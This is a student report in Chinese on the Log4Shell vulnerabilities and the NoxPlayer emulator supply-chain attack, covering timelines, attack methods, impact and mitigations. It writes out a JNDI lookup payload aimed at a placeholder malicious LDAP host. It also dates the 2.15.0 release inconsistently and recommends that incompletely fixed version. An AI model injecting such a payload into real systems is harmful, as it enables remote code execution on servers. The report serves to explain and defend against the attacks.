Apache Log4j漏洞 班級：資財三乙 學號：108AB0704 姓名：劉筑芸 事件流程： 2021/11/24 Log4Shell 漏洞 (CVE-2021-44228)經由私下管道通報給Apache 2021/12/09 發布的 Log4j 2.15.0 版當中已經修補。
Apache Log4j2 安全補丁更新過程： 2021/12/11 發布2.15.0版本，對JNDI 查詢功能進行限制。但此版本的修復不完整，導致了第二個 Log4j 漏洞漏洞CVE-2021-45046。 2021/12/13 發布2.16.0 版本，為了解決 CVE-2021-45046 漏洞， Log4j 2.16.0 直接禁用了 JDNI 功能。
攻擊手法： 駭客可利用此功能來發送 HTTP 請求到某個網站伺服器，這樣就會促使查詢 (lookup) 功能去駭客掌控的 LDAP 伺服器下載並執行某個惡意的 Java 類別。最簡單的作法，駭客只需在記錄檔內加入以下這道表達式：
${jndi:ldap://{malicious website}/a} 這樣就可以執行位於 http://{malicious website}/{malicious.class} 的惡意 Java 程式碼
駭客會在含有前述漏洞的伺服器上植入 Mirai 殭屍網路變種和 Kinsing 挖礦程式。有些駭客使用的網址相當簡單，但也有些駭客會使用加密編碼的表達式來隱藏網路流量。 攻擊流程：
漏洞項目： CVE-2021-44228 遠程控制漏洞（RCE）影響從 2.0-beta9 到 2.14.1 的 Log4j 版本。受影響的 Log4j 版本包含 Java 命名和目錄接口 (JNDI) 功能，可以執行如消息查找替換等操作，攻擊者可以通過向易受攻擊的系統提交特製的請求，從而完全控制系統，遠程執行任意代碼，然後進行竊取信息、啟動勒索軟體或其他惡意活動。 CVE-2021-45046（Log4j 2.15.0 未完整修復的漏洞） Apache Log4j 2.15.0 中針對 CVE-2021-44228 的修復在某些非默認配置中不完整。當日誌配置使用非默認模式布局和上下文查找（例如，$${ctx:loginId}）或線程上下文映射模式（ %X、%mdc 或 %MDC）使用 JNDI 查找模式製作惡意輸入數據，從而導致拒絕服務 (DOS) 攻擊。默認情況下，Log4j 2.15.0 盡最大努力將 JNDI LDAP 查找限制為 localhost。Log4j 2.16.0 通過刪除對消息查找模式的支持和默認禁用 JNDI 功能來修復此問題。 CVE-2021-4104（Log4j 1.2 版本問題） 當攻擊者對 Log4j 配置具有寫訪問權限時，Log4j 1.2 中的 JMSAppender 容易受到不可信數據的反序列化。攻擊者可以提供 TopicBindingName ,TopicConnectionFactoryBindingName 配置，導致 JMSAppender 以類似於 CVE-2021-44228 的方式執行 JNDI 請求，從而導致遠程代碼執行。JMSAppender 不是 Log4j 的默認配置，因此此漏洞僅在特別配置為 JMSAppender 時才會影響 Log4j 1.2。事實上 Apache Log4j 1.2 已於 2015 年 8 月終止生命周期。用戶應該升級到Log4j 2，因為它解決了以前版本的許多其他問題。
事件影響： 目前我們看到歹徒所下載的惡意程式是 Mirai 殭屍網路和 Kinsing 挖礦程式，可能造成的影響包括： ● 資源遭到挾持，挖礦程式會占用資源來進行虛擬加密貨幣挖礦。Mirai 則會將受害系統變成殭屍網路的一員，用來從事惡意活動。 ● 式阻斷服務 (DDoS) 攻擊或散發垃圾郵件。 ● 阻斷服務攻擊 (DoS)，Mirai 可在攻擊行動當中利用受害系統來發動 DDoS/DoS 攻擊。
修補及防範： 雖然網路上目前流行的攻擊大多經由 HTTP 通訊協定，但此漏洞也可經由所有 Log4j 支援的通訊協定來發動。因此我們建議所有使用者都更新至 Log4j 2.15.0 版。此外，在漏洞修補之前，使用者還可透過以下步驟來防範此漏洞： ● 針對 log4j 版本 >=2.10 的系統：請將系統屬性「log4j2.formatMsgNoLookups」設定為「true」。 ● 針對 log4j 版本 >=2.10 的系統：請將環境變數「LOG4J_FORMAT_MSG_NO_LOOKUPS」設定為「true」。 ● 針對 log4j 版本為 2.0-beta9 到 2.10.0 的系統： 請將 JndiLookup.class 從類別路徑 (class path) 當中移除：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. 另一個建議作法是限制出口流量只能經由必要的連接埠至連上網際網路
供應鏈攻擊 — NoxPlayer模擬器 班級：資財三乙 姓名：劉筑芸 學號：108AB0704 攻擊事件流程： 2020/09 駭客滲透了NoxPlayer的更新機制 2021/01/25 資安業者ESET，發現Android遊戲模擬器NoxPlayer的更新機制被植入惡意程式。 遭攻擊項目： 操縱兩個文件：主BigNox二進位文件Nox.exe和下載更新本身的NoxPack.exe。BigNox基礎設施(res06.bignox.com)被入侵以託管惡意軟體，同時也表明他們的HTTP API基礎設施(api.bignox.com)可能已經被入侵，在某些情況下，BigNox更新器從攻擊者控制的伺服器下載了額外的有效載荷，這表明，BigNox API回覆中提供的URL欄位被攻擊者篡改了。 攻擊手法：
- 在啟動時，Nox.exe會向一個編程接口發送請求，查詢更新信息。BigNox API伺服器會響應更新信息，包括合法更新的URL。ESET推測，合法的更新可能已經被惡意軟體取代，或者引入了新的文件名或URL
- 惡意軟體被安裝在目標機器上，惡意文件沒有像合法更新那樣進行數字簽名，這說明BigNox軟體構建系統並沒有被入侵，只有提供更新的系統被入侵，惡意軟體會對目標計算機進行有限的偵察。
- BigNox API伺服器向特定目標響應更新信息，這些信息指向攻擊者控制的伺服器上的惡意更新位置。
- 合法的BigNox基礎設施正在為特定的更新提供惡意軟體。觀察到，這些惡意更新只在2020年9月進行。在安裝了NoxPlayer的10萬多名用戶中，只有5人收到了惡意更新。這些數字凸顯了攻擊的針對性。 攻擊事件善後： 僅使用 HTTPS 交付軟件更新，以最小化域劫持和中間人（MitM）攻擊的風險，使用 MD5 哈希和文件簽名檢查實現文件完整性驗證，採取其他措施，特別是對敏感數據進行加密，以避免暴露用戶的個人訊息。 BigNox 同時亦更新了 NoxPlayer 版本，新版本將會檢查以前安裝的 Nox Player 應用程序文件是否完整及存在風險。